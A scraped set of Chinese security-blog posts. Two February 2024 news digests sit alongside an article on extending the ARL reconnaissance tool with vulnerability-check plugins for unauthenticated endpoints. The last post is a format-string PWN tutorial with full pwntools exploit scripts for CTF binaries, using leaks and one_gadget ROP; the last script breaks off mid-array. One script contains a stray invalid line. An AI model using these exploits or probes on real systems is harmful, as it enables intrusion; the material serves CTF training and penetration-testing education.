在今天的一份公告中警告称,朝鲜政府正在针对全球国防部门开展网络间谍活动。这些攻击旨在窃取先进的军事技术信息,帮助朝鲜实现常规武器现代化并发展新的军事能力。公告重点介绍了朝鲜行为者(其中之一是 Lazarus 组织)发起的两个案例,以提供攻击者使用的战术、技术和程序 (TTP)。 6、俄罗斯黑客通过Roundcube漏洞瞄准80多个组织 https://www.recordedfuture.com/russia-aligned-tag-70-targets-european-government-and-military-mail 与白俄罗斯和俄罗斯利益一致的威胁行为者与一项新的网络间谍活动有关,该活动可能利用 Roundcube 网络邮件服务器中的跨站脚本 (XSS) 漏洞来针对 80 多个组织。据 Recorded Future 称,这些实体主要位于格鲁吉亚、波兰和乌克兰,该公司将这次入侵归因于名为 Winter Vivern 的威胁行为者,该威胁者也被称为 TA473 和 UAC0114。该网络安全公司正在追踪名为“威 7、新的零日漏洞可能会影响多达 97,000 台Exchange 服务器 https://www.securityweek.com/recent-zero-day-could-impact-up-to-97000-microsoft-exchange-servers/ 非营利网络安全组织 Shadowserver 基金会周一警告称,有超过 28,000 台可通过互联网访问的 Microsoft Exchange 服务器受到最近披露的零日漏洞的影响。Shadowserver 表示,大约 68,000 个其他 Exchange 实例被认为“可能”易受攻击,这意味着它们安装了缓解措施,这使得潜在可利用的服务器总数达到大约 97,000 个。 8、Lockbit勒索软件被国际执法行动重创,解密器已发布 https://securityaffairs.com/159388/cyber-crime/operation-cronos-against-lockbit.html 国际执法行动控制了他们的基础设施,获取了他们的源代码,并获得了帮助受害者解密他们系统的密钥。Lockbit 勒索软件的免费解密器可以从"No More Ransom"下载。 9、CACTUS勒索软件团伙声称施耐德电气窃取了1.5TB 数据 https://securityaffairs.com/159353/hacking/cactus-ransomware-gang-schneider-electric.html Cactus 勒索软件团伙声称从能源管理和工业自动化公司施耐德电气窃取了 1.5TB 的数据。这次攻击影响了施耐德电气资源顾问云平台的服务,导致服务中断。施耐德电气表示,公司其他部门并未受到网络攻击的影响。 10、WordPress Bricks Builder 主题存在RCE漏洞 https://www.bleepingcomputer.com/news/security/hackers-exploit-critical-rce-flaw-in-bricks-wordpress-site-builder/ Bricks Builder 主题是一个高级 WordPress 主题,被描述为创新的、社区驱动的可视化网站构建器。该产品拥有约 25,000 个活跃安装量,促进了网站设计的用户友好性和定制化。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
ARL分析与进阶使用
在使用ARL(Asset Reconnaissance Lighthouse资产侦察灯塔系统,项目地址地址为https://github.com/TophantTechnology/ARL)的时候,有两个问题比较困扰我: 1. ARL使用Fofa导入数据的时候怎么降重? 2. 如何自己手动编写Poc? 在网上查阅了一些相关资料后,我发现并没有有师傅写的很清晰,于是诞生了写这篇文章的想法。 这篇文章不涉及ARL的基础搭建过程和基础使用过程,如果您之前没有使用过ARL,详情可以参考官网教程:https://tophanttechnology.github.io/ARL-doc/system_install/ 1.Fofa降重 先说结论,是由于Fofa_api的限制而不是ARL本身的问题 来源于我之前的使用体验,使用同样的Fofa语句,比如能搜到大量地的资产,但是ARL只会跑几千条,然后我们反复运行发现得到的资产结果是一致的,这样就大大地影响了配合Fofa使用好处,只能自己更换不同的Fofa语句来实现降重,非常麻烦。 首先我们先黑盒看看调用fofa的流程: POST /api/task_fofa/test HTTP/2 {"query":"org=\"China Education and Research Network Center\""}HTTP/2 200 OK {"message": "success", "code": 200, "data": {"size": 13492282, "query": "org=\"China Education and Research Network Center\""}} 可以看见这里返回的结果是13492282条 然后我们直接去项目里面去找: 路径为:ARL-2.6.1\app\routes\taskFofa.py from flask_restx import Namespace, fields from app.utils import get_logger, auth, build_ret, conn_db from app.modules import ErrorMsg, CeleryAction from app.services.fofaClient import fofa_query, fofa_query_result from app import celerytask from bson import ObjectId from . import ARLResource ns = Namespace('task_fofa', description="Fofa 任务下发") logger = get_logger() test_fofa_fields = ns.model('taskFofaTest', {    'query': fields.String(required=True, description="Fofa 查询语句") }) @ns.route('/test') class TaskFofaTest(ARLResource):    @auth    @ns.expect(test_fofa_fields)    def post(self):        """       测试Fofa查询连接       """        args = self.parse_args(test_fofa_fields)        query = args.pop('query')        data = fofa_query(query, page_size=1)        if isinstance(data, str):            return build_ret(ErrorMsg.FofaConnectError, {'error': data})        if data.get("error"):            return build_ret(ErrorMsg.FofaKeyError, {'error': data.get("errmsg")})        item = {            "size": data["size"],            "query": data["query"]       }        return build_ret(ErrorMsg.Success, item) add_fofa_fields = ns.model('addTaskFofa', {    'query': fields.String(required=True, description="Fofa 查询语句"),    'name': fields.String(required=True, description="任务名"),    'policy_id': fields.String(description="策略 ID") }) @ns.route('/submit') class AddFofaTask(ARLResource):    @auth    @ns.expect(add_fofa_fields)    def post(self):        """       提交Fofa查询任务       """        args = self.parse_args(add_fofa_fields)        query = args.pop('query')        name = args.pop('name')        policy_id = args.get('policy_id')        task_options = {            "port_scan_type": "test",            "port_scan": True,            "service_detection": False,            "service_brute": False,            "os_detection": False,            "site_identify": False,            "file_leak": False,            "ssl_cert": False       }        data = fofa_query(query, page_size=1)        if isinstance(data, str):            return build_ret(ErrorMsg.FofaConnectError, {'error': data})        if data.get("error"):            return build_ret(ErrorMsg.FofaKeyError, {'error': data.get("errmsg")})        if data["size"] <= 0:            return build_ret(ErrorMsg.FofaResultEmpty, {})        fofa_ip_list = fofa_query_result(query)        if isinstance(fofa_ip_list, str):            return build_ret(ErrorMsg.FofaConnectError, {'error': data})        if policy_id and len(policy_id) == 24:            task_options.update(policy_2_task_options(policy_id))        task_data = {            "name": name,            "target": "Fofa ip {}".format(len(fofa_ip_list)),            "start_time": "-",            "end_time": "-",            "task_tag": "task",            "service": [],            "status": "waiting",            "options": task_options,            "type": "fofa",            "fofa_ip": fofa_ip_list       }        task_data = submit_fofa_task(task_data)        return build_ret(ErrorMsg.Success, task_data) def policy_2_task_options(policy_id):    options = {}    query = {        "_id": ObjectId(policy_id)   }    data = conn_db('policy').find_one(query)    if not data:        return options    policy_options = data["policy"]    policy_options.pop("domain_config")    ip_config = policy_options.pop("ip_config")    site_config = policy_options.pop("site_config")    options.update(ip_config)    options.update(site_config)    options.update(policy_options)    return options def submit_fofa_task(task_data):    conn_db('task').insert_one(task_data)    task_id = str(task_data.pop("_id"))    task_data["task_id"] = task_id    task_options = {        "celery_action": CeleryAction.FOFA_TASK,        "data": task_data   }    celery_id = celerytask.arl_task.delay(options=task_options)    logger.info("target:{} celery_id:{}".format(task_id, celery_id))    values = {"$set": {"celery_id": str(celery_id)}}    task_data["celery_id"] = str(celery_id)    conn_db('task').update_one({"_id": ObjectId(task_id)}, values)    return task_data 其中有一个类和俩函数在其他地方: # -*- coding:UTF-8 -*- import base64 from app.config import Config from app import utils from celery.utils.log import get_task_logger logger = get_task_logger(__name__) class FofaClient:    def __init__(self, email, key, page_size=9999):        self.email = email        self.key = key        self.base_url = Config.FOFA_URL        self.search_api_url = "/api/v1/search/all"        self.info_my_api_url = "/api/v1/info/my"        self.page_size = page_size        self.param = {}    def info_my(self):        param = {            "email": self.email,            "key": self.key,       }        self.param = param        data = self._api(self.base_url + self.info_my_api_url)        return data    def fofa_search_all(self, query):        qbase64 = base64.b64encode(query.encode())        param = {            "email": self.email,            "key": self.key,            "qbase64": qbase64.decode('utf-8'),            "size": self.page_size       }        self.param = param        data = self._api(self.base_url + self.search_api_url)        return data    def _api(self, url):        data = utils.http_req(url, 'get', params=self.param).json()        if data.get("error") and data["errmsg"]:            raise Exception(data["errmsg"])        return data    def search_cert(self, cert):        query = 'cert="{}"'.format(cert)        data = self.fofa_search_all(query)        results = data["results"]        return results def fetch_ip_bycert(cert, size=9999):    ip_set = set()    logger.info("fetch_ip_bycert {}".format(cert))    try:        client = FofaClient(Config.FOFA_EMAIL, Config.FOFA_KEY, page_size=size)        items = client.search_cert(cert)        for item in items:            ip_set.add(item[1])    except Exception as e:        logger.warn("{} error: {}".format(cert, e))    return list(ip_set) def fofa_query(query, page_size=9999):    try:        if not Config.FOFA_KEY or not Config.FOFA_KEY:            return "please set fofa key in config-docker.yaml"        client = FofaClient(Config.FOFA_EMAIL, Config.FOFA_KEY, page_size=page_size)        info = client.info_my()        if info.get("vip_level") == 0:            return "不支持注册用户"        # 普通会员,最多只查100条        if info.get("vip_level") == 1:            client.page_size = min(page_size, 100)        data = client.fofa_search_all(query)        return data    except Exception as e:        error_msg = str(e)        error_msg = error_msg.replace(Config.FOFA_KEY[10:], "***")        return error_msg def fofa_query_result(query, page_size=9999):    try:        ip_set = set()        data = fofa_query(query, page_size)        if isinstance(data, dict):            if data['error']:                return data['errmsg']            for item in data["results"]:                ip_set.add(item[1])            return list(ip_set)        raise Exception(data)    except Exception as e:        error_msg = str(e)        return error_msg 诶?我看到这个代码的时候我感觉他这里写的没有毛病,那么我的疑问变得更重了,为什么我查询的结果明明有一千万多条,但是实际到我们的项目条数就几千条: conn_db('task').insert_one(task_data) 根据上面这条代码,于是我进入了docker容器,查看了数据库的具体信息: 大致数据就是下面这种格式: "fofa_ip" : [ "xxx.xxx.xxx.xxx", ...... ], "celery_id" : "xxx", "statistic" : { "site_cnt" : 3935, "domain_cnt" : 0, "ip_cnt" : 2590, "cert_cnt" : 0, "service_cnt" : 0, "fileleak_cnt" : 3068, "url_cnt" : 0, "vuln_cnt" : 94, "npoc_service_cnt" : 0, "cip_cnt" : 0, "nuclei_result_cnt" : 0, "stat_finger 这里对应的fofa_ip数量与我在前端上面看到的数量一致,我就纳闷了为什么这里就只有这么几千条IP数量呢?我准备把这部分的代码手动抽出来在我本地上跑一遍试试看看结果到底是什么? 我在本地运行后发现返回的ip数量是由page_size决定的,如下面的代码 def fofa_query_result(query, page_size=9999):    try:        ip_set = set()        data = fofa_query(query, page_size)        if isinstance(data, dict):            if data['error']:                return data['errmsg']            for item in data["results"]:                ip_set.add(item[1])            return list(ip_set) 我将page_size改为20000,发现根本不返回结果了,这里我才想起来回到Fofa_API的官网去查看,发现了是API一次只能返回最多10000条的限制。 那么解决办法是什么呢? 我们可以看到Fofa Api这里存在一个翻页参数,我们的改进措施就是让ARL使用Fofa API的时候增加一个翻页参数而不是不添加导致每次都是第一页。面向大众的话,要我们一个一个去修改源代码是不太现实的,我这里将给原作者发起一个issue,期待他的更新。 最简单的措施就是我们改进一下Fofa语句: (status_code="200" || banner="HTTP/1.1 200 OK") && org="China Education and Research Network Center" 避免过期资产误杀: 这里是有20万多条独立IP,我们可以利用Fofa_api先把这20多万条独立IP下载下来,使用ARL本身的添加任务功能将这些IP填进去,这样的缺陷就是不能跑Poc,要跑Poc的话可以等待我们这20多万的数据跑完一遍后,然后直接风险任务下发选择对应的Poc就可以了。 添加任务的时候使用下列的格式加入: IP1 IP2 IP3 IP4 IP5 IP6 ... 2.Poc编写 想要优雅地使用ARL,会自己编写更新Poc是必不可少的。 ARL的poc工具在路径/opt/ARL-NPoC/xing/plugins/poc中我们后续在这个路径去修改,我们可以从作者的仓库看看这个工具:https://github.com/1c3z/ARL-NPoC 这里需要单独注意一点,我们在安装的时候 pip3 install -r requirements.txt 这里最后一个PyYAML直接安装会报错,我们直接使用下列命令直接安装。 pip install PyYAML 然后安装运行: pip3 install -e . 就可以使用了: 大致使用教程: 这里我拿直接ARL给我扫出来的一个弱口令进行验证: xing brute -t 目标地址 然后我们就可以开始编写Poc了 我们来分析一个较为简单的但是很实用的Actuator API 未授权访问漏洞的POC: from xing.core.BasePlugin import BasePlugin from xing.utils import http_req from xing.core import PluginType, SchemeType class Plugin(BasePlugin):    def __init__(self):        super(Plugin, self).__init__()        self.plugin_type = PluginType.POC # 定义该插件的类型便于后续调用        self.vul_name = "Actuator API 未授权访问"        self.app_name = 'Actuator'        self.scheme = [SchemeType.HTTPS, SchemeType.HTTP]    def verify(self, target):        paths = ["/env", "/actuator/env", "/manage/env", "/management/env", "/api/env", "/api/actuator/env"]        for path in paths:            url = target + path            conn = http_req(url)            if b'java.runtime.version' in conn.content:                self.logger.success("发现 Actuator API 未授权访问 {}".format(self.target))                return url 主要流程就是先定义一个插件的类,然后使用函数__init__(self)写出这个插件的一些信息,具体实现过程在verify函数中实现。 这里我就编写一个influxdb的未授权访问的漏洞: from xing.core.BasePlugin import BasePlugin from xing.utils import http_req from xing.core import PluginType, SchemeType class Plugin(BasePlugin):    def __init__(self):        super(Plugin, self).__init__()        self.plugin_type = PluginType.POC        self.vul_name = "Influxdb未授权访问"        self.app_name = 'Influxdb'        self.scheme = [SchemeType.HTTPS, SchemeType.HTTP]    def verify(self, target):        url = target + "/query?q=SHOW%20USERS"        conn = http_req(url)        if b'"results":' in conn.content:            self.logger.success("发现 Influxdb 未授权访问 {}".format(self.target))            return url        else:            return False 然后我们直接在本地复现一下,是可以使用的: 接着我们部署到我们的服务器上,注意这里我们将POC同步到arl_web和arl_work两个容器中: 大致流程就是分别进入这两个容器然后添加对应文件下的Poc即可: cd /opt/ARL-NPoC/xing/plugins/ 我们更新一下Poc后再前端也可以查看到了: 然后经过测试确实可以: 3.总结 在我的实际渗透测试过程中,ARL给我的信息搜集带来了很大的便利性。是一种全面的信息搜集的有力方式!这篇文章主要是解决一点使用ARL过程中的问题,以及编写自己的Poc的流程。
网络安全日报 2024年02月20日
1、伊朗黑客利用新的BASICSTAR后门瞄准中东政策专家 https://www.hackread.com/tictactoe-dropper-steals-data-windows-threats/ 研究人员发现名为 Charming Kitten 的伊朗裔威胁行为者通过创建一个虚假的网络研讨会门户,通过名为BASICSTAR的新后门,与一系列针对中东政策专家的新攻击有关。Charming Kitten,也称为 APT35、CharmingCypress、Mint Sandstorm、TA453 和 Yellow Garuda,有着策划各种社会工程活动的历史,这些活动在其目标上撒下了广泛的网络,通常专门针对智囊团、非政府组织和记者。研究人员表示: 2、新的Chrome功能可阻止针对家庭网络的攻击 https://www.bleepingcomputer.com/news/google/new-google-chrome-feature-blocks-attacks-against-home-networks/ 谷歌正在测试一项新功能,以防止恶意公共网站通过用户浏览器攻击内部专用网络上的设备和服务。谷歌计划防止互联网上的不良网站攻击访问者家中或计算机上的设备(如打印机或路由器)。人们通常认为这些设备是安全的,因为它们不直接连接到互联网并受到路由器的保护。在 Google 提供的示例中,开发人员展示了公共网站上的 HTML iframe,该框架执行 CSRF 攻击,从而更改访问者本地网络 3、大规模公共事业诈骗活动通过Google在线广告传播 https://www.malwarebytes.com/blog/threat-intelligence/2024/02/massive-utility-scam-campaign-spreads-via-online-ads 研究人员发现通过 Google 搜索向用户展示的大量欺诈广告活动。并发现的广告数量超过了在之前的恶意广告案例中发现的数量。研究人员对此种诈骗手段进行分析期望达到两个目的,第一个目的是通过展示这个问题的工作原理来引起人们对这个问题的认识。其次,收集并分享了尽可能多的广告和虚假网站,希望有关部门能够采取行动,并令诈骗者付出一些代价。 4、黑客声称盗取Robert Half公司数据并进行非法销售 https://www.hackread.com/hackers-claim-robert-half-data-breach/ 目前,被盗数据恶意论坛上以 20,000 美元的门罗币 (XMR) 加密货币价格出售。值得注意的是,该数据列表最初出现于 2024 年 2 月 8 日星期四,此后一直保持活跃状态。黑客声称他们在同一天入侵了 RobertHalf.com,这表明这次所谓的数据泄露与 2022 年发生的前一次数据泄露事件不同。但是,目前尚不确定这些黑客是否是对之前的泄露事件负责的同一位黑客。黑客还分享了据称显示被盗数据、Git 存储库和 AWS 相关系统设置的屏幕截图。2022 年 6 5、 NSO 集团使用的神秘“彩信指纹”黑客行为曝光 https://www.securityweek.com/mysterious-mms-fingerprint-hack-used-by-spyware-firm-nso-group-revealed/ NSO 与加纳电信监管机构之间的合同中的一行内容表明,间谍软件公司 NSO Group 使用了一种以前未知的感染技术。该合同包含在 WhatsApp 和 NSO 之间正在进行的法庭案件的文件中。 “感染辅助工具”下标有一个标题为“MMS 指纹”的条目。 NSO 声称它可以揭示目标设备和目标设备的操作系统,“无需用户交互、参与或打开消息”,并且可用于针对 Android、黑莓和 iOS。 6、代号“克罗诺斯行动”的国际执法行动破坏了LockBit 勒索软件 https://securityaffairs.com/159360/cyber-crime/operation-cronos-disrupted-lockbit-operation.html 来自 11 个国家的执法机构开展的代号为“克罗诺斯行动”的联合执法行动扰乱了LockBit 勒索软件的运作。 7、Meta警告8家间谍软件公司针对 iOS/安卓和Windows 设备 https://thehackernews.com/2024/02/meta-warns-of-8-spyware-firms-targeting.html Meta Platforms 表示,它采取了一系列措施来遏制来自意大利、西班牙和阿拉伯联合酋长国 (UAE) 的八家不同公司的恶意活动,这些公司从事租赁监控行业。该公司表示:“他们的各种恶意软件包括收集和访问设备信息、位置、照片和媒体、联系人、日历、电子邮件、短信、社交媒体和消息应用程序,以及启用麦克风、摄像头和屏幕截图功能的功能。”这八家公司是 Cy4Gate/ELT Group、RCS Labs、IPS Intelligence、V 8、美国对疑似伊朗军事间谍船开展网络攻击 https://www.secrss.com/articles/63700 美媒报道称,作为对伊朗支持的胡塞武装 1 月攻击美军驻约旦后勤基地的报复行动,美国近日对伊朗军事间谍船贝赫沙德号开展了网络攻击。 9、宝马确认发生数据泄露事件:云存储服务器配置错误 https://www.ithome.com/0/750/672.htm 据外媒 TechCrunch 近日报道,汽车巨头宝马的云存储服务器发生配置错误事件,导致私钥和内部数据等敏感信息暴露。 10、公安部门提醒:快递盒里的红包“暗藏玄机”,千万不要扫 https://www.ithome.com/0/750/584.htm 诈骗分子通过在快递上,放置或粘贴二维码引诱收货人去扫码,诱导收货人,下载涉诈 App 或进入涉诈网址,进而对收货人实施刷单或虚假投资理财类诈骗。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年02月19日
1、SpyNote安卓间谍软件冒充合法加密钱包窃取资金 https://www.hackread.com/spynote-android-spyware-legit-crypto-wallets 研究人员最新研究显示,Android 间谍软件 SpyNote 开发人员现在正在考虑加密货币,不仅仅是凭证间谍,还可以启动加密货币传输。研究人员指出,Spynote 是一种臭名昭著的远程访问木马 ( RAT ),现在通过滥用 Accessibility API 瞄准“著名的加密钱包”。该 API 的工作是自动执行 UI 操作,例如记录设备解锁手势,主要对残障人士有帮助。恶意代码滥用 Accessibility API 自动填写表格并将加密货币转移给网络犯 2、Kryptina RaaS勒索工具从付费服务变为公开可用 https://www.sentinelone.com/blog/kryptina-raas-from-underground-commodity-to-open-source-threat/ 过去五年多来,勒索软件攻击激增的关键驱动因素之一是勒索软件即服务模式的发展和扩散,这种模式为网络犯罪分子提供易于使用、低成本的工具,开展和管理勒索软件活动。研究人员最近观察到的 Kryptina Raas 是一个专用的 Linux 攻击框架,它为该模型添加了新的变化:从付费服务转变为公开可用的工具。。本文探讨了 Kryptina RaaS 的发展、技术细节和影响及其向开源犯罪软件的发展,并深入探讨防御 3、研究人员发现DNSSEC中设计漏洞KeyTrap https://www.athene-center.de/en/news/press/key-trap 研究人员发现,域名系统安全扩展 (DNSSEC) 功能中名为 KeyTrap 的严重漏洞可能会被利用来长时间拒绝应用程序的互联网访问。KeyTrap 的编号为 CVE-2023-50387,它是 DNSSEC 中的一个设计问题,会影响所有流行的域名系统 (DNS) 实施或服务。它允许远程攻击者通过发送单个 DNS 数据包在易受攻击的解析器中造成长期持续的拒绝服务 (DoS) 情况。黑客只需一个 DNS 数据包就可以阻止所有广泛使用的 DNS 实施和公共 DNS 提供商。利用此攻击将对任何使 4、新的Wi-Fi身份验证绕过漏洞暴露家庭和企业网络 https://www.top10vpn.com/research/wifi-vulnerabilities/ 研究人员发现开源 WiFi 软件中的两个新漏洞允许攻击者诱骗受害者连接到受信任网络的恶意克隆并拦截其流量,并无需密码即可加入其他安全网络。其中一个漏洞影响连接到企业 WiFi 网络的 Android、ChromeOS 和 Linux 设备,另一个漏洞影响使用 Linux 设备作为无线接入点的家庭 WiFi。 5、RansomHouse利用新工具MrAgent自动执行网络攻击 https://www.trellix.com/blogs/research/ransomhouse-am-see/ RansomHouse 勒索软件操作创建了一个名为“MrAgent”的新工具,可以跨多个 VMware ESXi 虚拟机管理程序自动部署其数据加密器。RansomHouse 是一种勒索软件即服务 (RaaS) 操作,于 2021 年 12 月出现,采用双重勒索策略。该组织被发现使用一种名为 Mario ESXi 的独特勒索软件变体以及 MrAgent,针对基于 Windows 和 Linux 的系统。该勒索软件与 Babuk 共享代码,这在逆向两个样本时变得显而易见。鉴于 B 6、谷歌开源 Magika人工智能驱动的文件识别工具 https://thehackernews.com/2024/02/google-open-sources-magika-ai-powered.html 谷歌宣布开源Magika,这是一款人工智能 (AI) 支持的文件类型识别工具,可帮助防御者准确检测二进制和文本文件类型。 7、ESET修复了Windows产品中的高危提权漏洞 https://securityaffairs.com/159280/breaking-news/eset-local-privilege-escalation-windows.html 网络安全公司 ESET 已解决其 Windows 安全解决方案中的高严重性特权提升漏洞。 编号为 CVE-2024-0353。 8、FBI 通缉犯 Zeus 和 IcedID 恶意软件主谋认罪 https://thehackernews.com/2024/02/fbis-most-wanted-zeus-and-icedid.html 一名乌克兰公民在美国承认自己在 2009 年 5 月至 2021 年 2 月期间参与了两个不同的恶意软件计划(Zeus 和 IcedID)。IcedID 恶意软件团伙头目 Zeus 认罪,面临 40 年监禁 9、SolarWinds 曝出五个严重的RCE漏洞 https://www.freebuf.com/news/391895.html SolarWinds 近期修补了 Access Rights Manager (ARM) 解决方案中的五个远程代码执行 (RCE) 漏洞,其中包括三个允许未验证利用的严重漏洞! 10、某军民融合企业平台存安全漏洞被境外“网络间谍”入侵 https://www.thepaper.cn/newsDetail_forward_26367406 国家安全机关工作发现,近年来,境外“网络间谍”利用我重要单位安全防范不到位、工作疏忽、贪图便利等机会,持续通过各种方式,攻击我境内重点要害单位、部门、企业的信息化系统,并建立隐蔽传输通道,持续窃取我重要敏感数据,危害我国数据安全、网络安全。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
PWN学习之格式化字符串及CTF常见利用手法
格式化字符串的基本漏洞点 格式化字符串漏洞是一种常见的安全漏洞类型。它利用了程序中对格式化字符串的处理不当,导致可以读取和修改内存中的任意数据。 格式化字符串漏洞通常发生在使用 C 或类似语言编写的程序中,其中 printf、sprintf、fprintf 等函数用于将数据格式化为字符串并进行输出。当这些函数的格式字符串参数(比如 %s、%d等)由用户提供时,如果未正确地对用户提供的输入进行验证和过滤,就可能存在格式化字符串漏洞。 攻击者可以通过构造特定的格式化字符串,利用漏洞读取和修改程序内存中的敏感数据。一些可能的攻击方式包括: 读取内存:通过在格式字符串中使用 %x 或 %s 占位符,可以泄露栈上和堆上的内存内容,例如函数返回地址、内部变量值等。 修改内存:通过在格式字符串中使用 %n 占位符,可以将已输出字符的数量写入指定地址,从而实现对内存的修改。 常用任意改:%c和%n的配合使用 我们格式化字符串修改的是第一层指针中的内容 即我们只能写a->b->c中c的内容 p64()+b'%nc'+'%A$n' #第A位栈中偏移位   向第A位的地址中改写为数字n的大小,一次n只能最多改4个字节大小的数据 在漏洞利用中,%n、%hn和%hh都可以用于将已经存储在堆栈上的数值写入内存中的任意位置。这些格式字符串的容量取决于它们所针对的底层数据类型 %n格式字符串用于将已经打印出来的字符数(而不是已经写入输出缓冲区的字符数)写入指定地址。因此,它的容量取决于可控制的输出大小,通常在4字节范围内。 %h格式字符串将16位无符号整数写入指定地址。由于其只能写入两个字节,因此其容量范围为0到65535。 %hhn格式字符串将8位无符号整数写入指定地址。由于其只能写入一个字节,因此其容量范围为0到255。 需要注意的是,使用这些格式字符串时,必须非常小心以确保正确性和安全性。在使用这些格式字符串进行漏洞利用 不同版本的堆管理和栈偏移有可能不一样c aaaa%p..... 32位测输入点偏移 aaaaaaaa%p...... 64位测输入点偏移 特别注意(截断函数\x00对payload的影响) 利用 fmtarg 测量某个栈上地址在栈上的偏移位置 8字节(64位)数据或者4字节(32位)数据占一个偏移位 One_gadget 结合应用: one_gadget在进行getshell ()前要先满足寄存器的条件 另一种可能的方法: 如果能泄露出栈地址,就能够像非栈上的格式化字符串那样,将布置的栈结构放在栈上然后劫持返回地址,就可以达到多次写的效果。(即利用可以利用多次的格式化字符串) 例题:国际赛final_ctf 2(同时读写加One_gadget): 解题步骤 首先我们直接先进行代码审计如下图: 我们发现了他的基本漏洞点为栈上的格式化字符串 漏洞利用和需要注意的点 我们进行该漏洞点的利用:首先查看栈上状况 我们在这里需要同时一次读写机会利用栈上的格式化字符串任意读写 所以要考虑到截断的问题所以要进行截断的避免,我们调整payload在最后填入栈上的对应偏移的地址填为size的bss地址进行格式化字符串改,改完之后效果如下: 最后再使用一次ubuntu20.04下的one_gadget设置即可getshell 注意这里为了满足20.04下严苛的条件我们需要对寄存器进行设置 > pop_r12:0x40086c > pop=0x040086c#pop了5个寄存器 > one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget > one_gadget_addr=libc_base+one_gadget_offset[0]#20840   > #最后打one > payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong > p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值满足one_gadget的触发条件 最后exp如下 from pwn import* #from LibcSearcher import * context(log_level='debug',arch='amd64',os='linux') choice=1 if choice == 1:   p=process('./one-format-string') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#当前链接的libc版本 elf=ELF('./one-format-string') address=0x400780 gdb.attach(p,"finish\n b *address") sleep(1) size=0x601060   #14 payload=b'aaaaa'+b'%27$p|%23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060)#同时读写 #这里的最后的size地址是为了填到栈上相对应的偏移位置我们可以直接对其进行修改 p.sendlineafter(b'name: \n',payload) p.recvuntil("aaaaa") main_start_243=int(p.recv(14),16) libc_base = main_start_243 - 0xf3 - libc.symbols['__libc_start_main'] print("leak_addr",hex(main_start_243)) print("libc_base",hex(libc_base)) p.recvuntil(b'|') canary=int(p.recv(18),16) pop_r12:0x40086c print("canary",hex(canary)) pop=0x040086c#pop了5个寄存器 one_gadget_offset=[0xe3afe,0xe3b01,0xe3b04]#one_gadget libc版本查看可以利用的gadget one_gadget_addr=libc_base+one_gadget_offset[0]#20840   #最后打one payload2=b'a'*(0x48)+p64(canary)+b'a'*8+p64(pop)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one_gadget_addr)#20 onegadgetliyong p.sendlineafter(b'affiliation: \n',payload2)#将寄存器赋空值满足one_gadget的触发条件 p.interactive() 这里需要注意的点: 是我们要考虑printf对\X00 字符串的截断 正确的payload.只有这一种形式:payload=b'aaaaaa'+b'%20$p %23$p'+b'bbbbbb'+b'%256c'+b'%18$n'+p64(0x601060) 因为x00的存在,所以Printf:无法使用到后面的%16$n 补充:c语言下的所有格式化识别符 C语言中的格式化字符是用于格式化输出的占位符,常用于printf等函数中。下面是常用的格式化字符及其含义: %d:输出有符号整数。 %u:输出无符号整数。 %f:输出浮点数。 %c:输出单个字符。 %s:输出字符串。 %p:输出指针的地址。 %e:用科学计数法输出浮点数。 %E:用科学计数法输出浮点数,并将e大写。 %g:输出浮点数,自动选择%f或%e格式。 %G:输出浮点数,自动选择%f或%E格式,并将E大写。 %x:输出无符号整数的十六进制数。 %o:输出无符号整数的八进制数。 %X:输出无符号整数的十六进制数,并将字母ABCDEF大写。 %i:输出有符号整数。 %n:输出已经输出的字符数。 %%:输出%字符本身。 需要注意的是,这些格式化字符可以与其它字符组合使用,例如%d和%10d分别表示输出有符号整数和输出宽度为10个字符的有符号整数。 C++ 中的格式化字符串的识别符与 C 语言是基本相同的,也包括上述提到的常用的格式化字符。不过 C++ 中还增加了一些额外的格式化字符串识别符,例如: %a:输出十六进制浮点数,包括小数点和指数(如果存在)。 %A:输出十六进制浮点数,包括小数点和指数(如果存在),并将X和P大写。 %lld:输出长长整数。 %zu:输出size_t类型的无符号整数。 %n:和 C 语言相同,输出已经输出rra=[S字符数。 %t:在格式化字符串中使用std::chrono::time_point类型的时间。 需要注意的是,不同编译器可能对 C 和 C++ 的格式化字符串识别符实现略有不同,所以在使用时需要根据实际情况进行调整。 ctf中不同考察点的例题以及思路解析: [虎符CTF 2022]babygame(格式化字符串和随机数绕过) 保护全开,我们进行静态代码审计 通过观察他的canary可以看到他在栈中的位置 思路: 1.先通过回显泄露canary和栈地址 注意但是我们知道canary的上面就是seed,所以此时的seed已经被我们覆盖为0x6161616161616161了 2.通过修改函数的返回地址的最后两个字节再次进行一次格式化字符串利用 3.打one_gad exp如下: from pwn import * from LibcSearcher import * context.log_level = 'debug' context.arch = 'amd64' io = process('./babygame') io.sendlineafter(b'Please input your name:', b'1234567890' * 26 + b'aaaaa') io.recvuntil(b'Hello, ') io.recv(260 + 12) stack_addr = u64(io.recv(6) + b'\x00\x00') srand = 0x30393837 answer = [1, 2, 2, 1, 1, 1, 1, 2, 0, 0,         2, 2, 2, 1, 1, 1, 2, 0, 1, 0,         0, 0, 0, 1, 0, 1, 1, 2, 2, 1,         2, 2, 2, 1, 1, 0, 1, 2, 1, 2,         1, 0, 1, 2, 1, 2, 0, 0, 1, 1,         2, 0, 1, 2, 1, 1, 2, 0, 2, 1,         0, 2, 2, 2, 2, 0, 2, 1, 1, 0,         2, 1, 1, 2, 0, 2, 0, 1, 1, 2,         1, 1, 1, 2, 2, 0, 0, 2, 2, 2,         2, 2, 0, 1, 